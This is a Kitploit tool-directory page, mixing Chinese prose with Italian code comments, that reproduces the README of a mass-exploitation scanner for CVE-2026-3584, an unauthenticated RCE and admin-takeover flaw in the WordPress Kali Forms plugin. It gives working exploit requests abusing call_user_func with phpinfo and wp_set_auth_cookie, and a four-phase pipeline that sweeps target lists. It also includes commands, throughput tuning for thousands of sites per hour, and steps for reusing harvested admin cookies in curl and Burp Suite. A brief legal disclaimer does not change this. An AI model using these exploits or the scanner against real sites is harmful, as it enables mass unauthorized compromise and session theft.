Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3584 — CVE-2026-3584 | Kitploit
工具/GitHubGitHub/yucaerin/cve-2026-3584
权限提升侦察漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集渗透测试Payload 开发
GitHubyucaerin/cve-2026-3584

CVE-2026-3584

CVE-2026-3584

查看仓库
355个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-3584 – WordPress Kali Forms <= 2.4.9 - 通过 form_process 未认证远程代码执行

🔥 漏洞摘要

WordPress 插件 Kali Forms 版本 <= 2.4.9 存在一个严重的未认证远程代码执行（RCE）漏洞。该漏洞允许未认证攻击者在服务器上执行任意 PHP 代码，并通过公开暴露且无授权检查的 AJAX 端点 kaliforms_form_process 获得完全管理员权限。

该漏洞位于 form_process 函数中，该函数接受用户控制的参数（包括 thisPermalink 和 entryCounter）并执行任意 PHP 回调，导致：

  • 远程代码执行（RCE）：通过 phpinfo()、system()、eval() 等
  • 权限提升：通过 wp_set_auth_cookie() 获取管理员会话

ðŸ"" 易受攻击的插件

  • 插件名称： Kali Forms – WordPress Form Builder
  • 受影响版本： <= 2.4.9
  • 漏洞类型： 未认证远程代码执行 + 权限提升
  • CVE ID： CVE-2026-3584
  • CVSS 评分： 10.0（严重）
  • 影响： 网站完全沦陷、管理员访问、持久化
  • 链接： https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

🐛 漏洞工作原理

漏洞技术分析

该漏洞出现在 Kali Forms 插件处理 AJAX 请求的 form_process 函数中。易受攻击的代码通过以下方式暴露：

root@kitploit:~
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

漏洞利用流程：

  1. 未受保护的端点： 端点 /wp-admin/admin-ajax.php?action=kaliforms_form_process 通过 wp_ajax_nopriv_ 钩子对未认证用户可访问。

  2. 用户可控参数：

    • data[thisPermalink] - 可包含任意 PHP 函数名
    • data[entryCounter] - 可包含任意 PHP 函数名
    • data[formId] - 要处理的表单 ID

  3. 未经过滤的回调执行： 易受攻击的代码在未经验证的情况下执行 PHP 回调：

    root@kitploit:~
    $callback = $_POST['data']['thisPermalink'];
call_user_func($callback);  // Nessun controllo!

  4. 漏洞利用链：

    root@kitploit:~
    Attacker → POST Request → kaliforms_form_process
     ↓
thisPermalink=phpinfo → call_user_func('phpinfo')
     ↓
PHP Code Execution → phpinfo() eseguito
     ↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
     ↓
Full Admin Access

易受攻击的请求示例：

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

结果： 服务器执行 phpinfo() 并返回完整的 PHP 配置信息。

用于权限提升：

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

结果： WordPress 执行 wp_set_auth_cookie(user_id)，其中 user_id 通常与 formId 对应，从而生成有效的管理员会话 cookie。

🛠批量扫描器 - 工作原理

扫描器架构

mass_scanner.py 实现了一个 4 阶段自动化流水线，用于完整利用 CVE-2026-3584 漏洞：

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    MASS SCANNER PIPELINE                        │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Fase 1: Ricognizione API REST                                 │
│  ├─ Enumera utenti: /wp-json/wp/v2/users                       │
│  └─ Enumera post: /wp-json/wp/v2/posts                         │
│      → Identifica user_id e post_id per escalation             │
│                                                                 │
│  Fase 2: Scoperta Moduli                                       │
│  ├─ Crawl sito (depth=2)                                       │
│  ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms'              │
│  ├─ Estrae nonce da JavaScript                                 │
│  └─ Estrae formId da HTML                                      │
│      → Trova tutti i moduli Kali Forms vulnerabili             │
│                                                                 │
│  Fase 3: Test RCE                                              │
│  ├─ Invia: data[thisPermalink]=phpinfo                         │
│  ├─ Verifica: 'PHP Version' in response                        │
│  └─ Salva: result/target_phpinfo.html                          │
│      → Conferma esecuzione codice remoto                       │
│                                                                 │
│  Fase 4: Escalation Privilegi                                  │
│  ├─ Invia: data[entryCounter]=wp_set_auth_cookie              │
│  ├─ Estrae: wordpress_logged_in + wordpress_sec cookies        │
│  ├─ Verifica: Accesso a /wp-admin/ senza redirect             │
│  └─ Salva: result_cookie/target.txt                            │
│      → Ottiene accesso amministratore completo                 │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

实现技术细节

1. 自动 URL 规范化

root@kitploit:~
def normalize_url(self, target):
    # Aggiunge automaticamente http:// o https://
    # Prova prima HTTPS, poi fallback su HTTP
    # Gestisce porte personalizzate (es. :8080)

2. REST API 枚举

root@kitploit:~
def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # Estrae tutti gli user_id disponibili
    # Usato per mappare formId → user_id
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # Estrae tutti i post_id disponibili
    # Identifica sovrapposizioni user_id/post_id

3. 表单发现（智能爬取）

root@kitploit:~
def discover_pages(self, target, max_depth=2):
    # Crawl ricorsivo del sito
    # Cerca pattern JavaScript: 'KaliFormsObject'
    # Filtra URL non necessari (js, css, immagini)
    # Segue solo link interni
    # Ritorna lista pagine con Kali Forms

4. 表单数据提取

root@kitploit:~
def extract_form_data(self, page_url):
    # Estrae nonce da JavaScript:
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # Estrae formId da HTML:
    #   data-id="1" o [kaliform id="1"]
    # Se nonce trovato ma no formId:
    #   Brute force ID 1-10

5. RCE 测试

root@kitploit:~
def test_rce(self, target, form_id, nonce):
    # POST /wp-admin/admin-ajax.php
    # Payload: data[thisPermalink]=phpinfo
    # Verifica: len(response) > 10000 e 'PHP Version' presente
    # Salva HTML completo per analisi

6. 权限提升测试

root@kitploit:~
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
    # Strategia intelligente:
    # 1. Cerca sovrapposizioni user_id/post_id
    # 2. Testa prima ID con alta probabilità successo
    # 3. Fallback su ID comuni: 1,2,3,4,5
    
    # Per ogni formId candidato:
    # POST data[entryCounter]=wp_set_auth_cookie
    # Estrae cookie: wordpress_logged_in + wordpress_sec
    # Verifica: GET /wp-admin/ → no redirect
    # Controlla: 'dashboard' in response

7. 多线程

root@kitploit:~
# ThreadPoolExecutor per elaborazione parallela
# Thread-safe locks per scrittura risultati
# Salvataggio real-time (append mode)
# Statistiche globali con sync

8. 自动备份系统

root@kitploit:~
def backup_previous_results(self):
    # Prima di ogni scan:
    # result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
    # result/ → result.20260325_120000.backup/
    # result_cookie/ → result_cookie.20260325_120000.backup/
    # Preserva tutti i dati storici

🚀 使用批量扫描器

要求

root@kitploit:~
pip3 install requests beautifulsoup4

准备目标文件

创建一个 targets.txt 文件，每行一个目标（http/https 可选）：

root@kitploit:~
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080

基本执行

root@kitploit:~
# Scansione con impostazioni predefinite (20 thread)
python3 mass_scanner.py targets.txt

# Scansione con thread personalizzati
python3 mass_scanner.py -t 10 targets.txt

# Scansione con numero massimo di thread
python3 mass_scanner.py --threads 50 targets.txt

扫描过程中的输出

root@kitploit:~
======================================================================
SCANNER DI MASSA - CVE-2026-3584 Pipeline Completa
======================================================================
Obiettivi: 100
Thread:    20
Pipeline:  Ricognizione → Scoperta Moduli → RCE → Escalation Privilegi
======================================================================

[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup

[04:38:28] [INFO] https://target1.com: Avvio scansione...
[04:38:28] [INFO] https://target1.com: Fase 1: Enumerazione API REST...
[04:38:29] [INFO] https://target1.com: Trovati 3 utenti via API
[04:38:29] [INFO] https://target1.com: Trovati 5 post via API
[04:38:29] [INFO] https://target1.com: Fase 2: Scoperta moduli...
[04:38:31] [INFO] https://target1.com: Trovate 8 pagine con moduli
[04:38:31] [INFO] https://target1.com: Fase 3: Test RCE...
[04:38:31] [INFO] https://target1.com: Test modulo/i [1, 2, 3] con nonce 46aedbd3...
[04:38:32] [SUCCESS] https://target1.com: RCE SUCCESSO sul modulo 1!
[04:38:32] [INFO] https://target1.com: Salvato phpinfo in result/target1.com_form1_phpinfo.html
[04:38:32] [INFO] https://target1.com: Fase 4: Test escalation privilegi...
[04:38:33] [CRITICAL] https://target1.com: ESCALATION PRIVILEGI RIUSCITA con formId=1!
[04:38:33] [INFO] https://target1.com: Cookie salvato in result_cookie/target1.com.txt

[04:38:35] [INFO] https://target2.com: Avvio scansione...
[04:38:36] [INFO] https://target2.com: Fase 1: Enumerazione API REST...
[04:38:37] [WARN] https://target2.com: Nessun Kali Forms trovato
...

======================================================================
STATISTICHE SCANSIONE
======================================================================
Obiettivi totali:     100
Scansionati:          100
Vulnerabili:          45
  - Solo RCE:         10
  - Escalation Priv (CVSS10): 35
Falliti:              55
======================================================================

Risultati salvati:
  - result_phpinfo.txt        (RCE riuscito)
  - result_yes_all.txt (RCE + Escalation Privilegi)
  - result/*.html             (Output phpinfo)
  - result_cookie/*.txt       (Richieste HTTP con cookie amministrativi)
======================================================================

日志级别说明

  • [INFO] - 关于扫描进度的一般信息
  • [SUCCESS] - RCE 已确认，代码执行成功
  • [CRITICAL] - 权限提升成功，已获得管理员访问权限
  • [WARN] - 目标不易受攻击或未找到表单
  • [ERROR] - 扫描期间出错（超时、连接等）

结果结构

root@kitploit:~
/root/
├── result_phpinfo.txt                 # Lista obiettivi con RCE confermato
├── result_yes_all.txt          # Lista obiettivi con accesso admin completo
├── result/                            # File HTML phpinfo dettagliati
│   ├── target1.com_form1_phpinfo.html
│   ├── target2.org_form2_phpinfo.html
│   └── ...
└── result_cookie/                     # Richieste HTTP con cookie amministrativi
    ├── target1.com.txt
    ├── target2.org.txt
    └── ...

result_phpinfo.txt 格式

root@kitploit:~
https://target1.com | Modulo: https://target1.com/contact | ID Modulo: 1 | Nonce: 46aedbd358 | File: result/target1.com_form1_phpinfo.html
https://target2.org | Modulo: https://target2.org/form | ID Modulo: 2 | Nonce: abc123def4 | File: result/target2.org_form2_phpinfo.html

result_yes_all.txt 格式

root@kitploit:~
======================================================================
OBIETTIVO: https://target1.com
TIMESTAMP: 2026-03-25T04:38:33.123456
======================================================================
RCE: SUCCESSO
  URL Modulo: https://target1.com/contact
  ID Modulo: 1
  Nonce: 46aedbd358
  phpinfo: result/target1.com_form1_phpinfo.html

ESCALATION PRIVILEGI: SUCCESSO (CVSS 10.0)
  Exploit formId: 1
  Cookie: wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
  File Cookie: result_cookie/target1.com.txt
  Impatto: Accesso amministrativo completo

COMANDI DI SFRUTTAMENTO:
  Test RCE:
    python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358

  Escalation Privilegi:
    python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358

======================================================================

result_cookie/target.txt 格式

root@kitploit:~
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

该格式可直接复制粘贴到 Burp Suite Repeater 中，或与 curl 一起使用。

使用管理员 Cookie

方法 1：使用 curl 测试

root@kitploit:~
# Estrarre cookie dal file
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')

# Testare accesso amministrativo
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard

# Se output contiene "Dashboard" → Cookie funzionante!

方法 2：在 Burp Suite 中使用

root@kitploit:~
# Passo 1: Generare configurazione automatica (opzionale)
./burp_config_gen.sh result_cookie/target.com.txt

# Passo 2: Burp Suite → Proxy → Options → Match and Replace → Add

# Passo 3: Configurazione:
Type:    Request header
Match:   ^Cookie:.*$
Replace: Cookie: [INCOLLA_COOKIE_DA_FILE]
☑ Regex match

# Passo 4: Abilitare la regola (checkbox)

# Passo 5: Navigare a https://target.com/wp-admin/

# Risultato: Accesso amministratore immediato

实时监控

扫描期间，您可以实时监控结果：

root@kitploit:~
# Terminal 1: Esegui scanner
python3 mass_scanner.py targets.txt

# Terminal 2: Monitora risultati RCE
watch -n 2 'tail -20 result_phpinfo.txt'

# Terminal 3: Monitora escalation privilegi
watch -n 2 'tail -20 result_yes_all.txt'

# Terminal 4: Conta obiettivi vulnerabili
watch -n 5 'echo "RCE: $(wc -l < result_phpinfo.txt) | Admin: $(grep -c "ESCALATION PRIVILEGI: SUCCESSO" result_yes_all.txt)"'

自动备份

在每次新扫描之前，扫描器会自动备份之前的结果：

root@kitploit:~
Scansione 1: [12:00]
  result_phpinfo.txt
  result_yes_all.txt
  result/
  result_cookie/

Scansione 2: [13:00] - Backup automatico!
  [*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
  [*] Risultati precedenti salvati in: result_yes_all.txt.20260325_120000.backup
  [*] File phpinfo precedenti salvati in: result.20260325_120000.backup/
  [*] File cookie precedenti salvati in: result_cookie.20260325_120000.backup/

Tutti i dati precedenti sono preservati con timestamp!

性能优化

推荐的线程数：

root@kitploit:~
# Rete veloce, molti obiettivi
python3 mass_scanner.py -t 50 targets.txt

# Rete media, obiettivi moderati
python3 mass_scanner.py -t 20 targets.txt  # (predefinito)

# Rete lenta o pochi obiettivi
python3 mass_scanner.py -t 10 targets.txt

# Test singolo (debug)
python3 mass_scanner.py -t 1 targets.txt

预期性能：

  • 20 线程： 约 500-1000 个目标/小时（取决于网络）
  • 50 线程： 约 1000-2000 个目标/小时（超时风险增加）
  • 10 线程： 约 300-500 个目标/小时（更稳定）

常见问题排查

问题：未找到易受攻击的目标

root@kitploit:~
# Verifica manuale che il sito abbia Kali Forms
curl -s https://target.com | grep -i "kaliforms"

# Se trovato, estrai nonce manualmente
curl -s https://target.com | grep -i "KaliFormsObject"

问题：频繁超时

root@kitploit:~
# Riduci numero di thread
python3 mass_scanner.py -t 5 targets.txt

# O aumenta timeout modificando il codice (timeout=10 → timeout=30)

问题：Cookie 不起作用

root@kitploit:~
# Verifica validità cookie
python3 test_burp_persistent.sh http://target.com

# Se fallisce, rigenera cookie con:
python3 get_fresh_admin_cookie.py http://target.com [NONCE]

ðŸ"' 法律警告

âš ï¸ 重要：

这些信息和工具仅用于教育和授权安全测试目的。

  • ✅ 合法用途： 授权的渗透测试、安全研究、培训
  • ❌ 非法用途： 未经授权访问系统、未经许可入侵网站

未经授权访问或使用计算机系统是非法且不道德的。

本仓库的作者和贡献者不对这些工具的任何不当使用或造成的损害负责。用户有责任确保在测试任何系统之前获得适当的授权。

请负责任地使用，并且仅在获得明确书面授权的情况下使用。

ðŸ"š 参考资料

CVE 与公告：

  • CVE-2026-3584：Kali Forms RCE 与权限提升
  • 链接：https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process
  • CVSS 评分：10.0（严重）
  • CWE-94：代码生成控制不当（'代码注入'）
  • CWE-862：缺少授权

易受攻击的插件：

  • 名称：Kali Forms – WordPress Form Builder
  • Slug：kaliforms
  • 仓库：https://wordpress.org/plugins/kaliforms/
  • 受影响版本：<= 2.4.9

CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 严重

安全研究 | 负责任的漏洞利用 | 网络安全教育

下载工具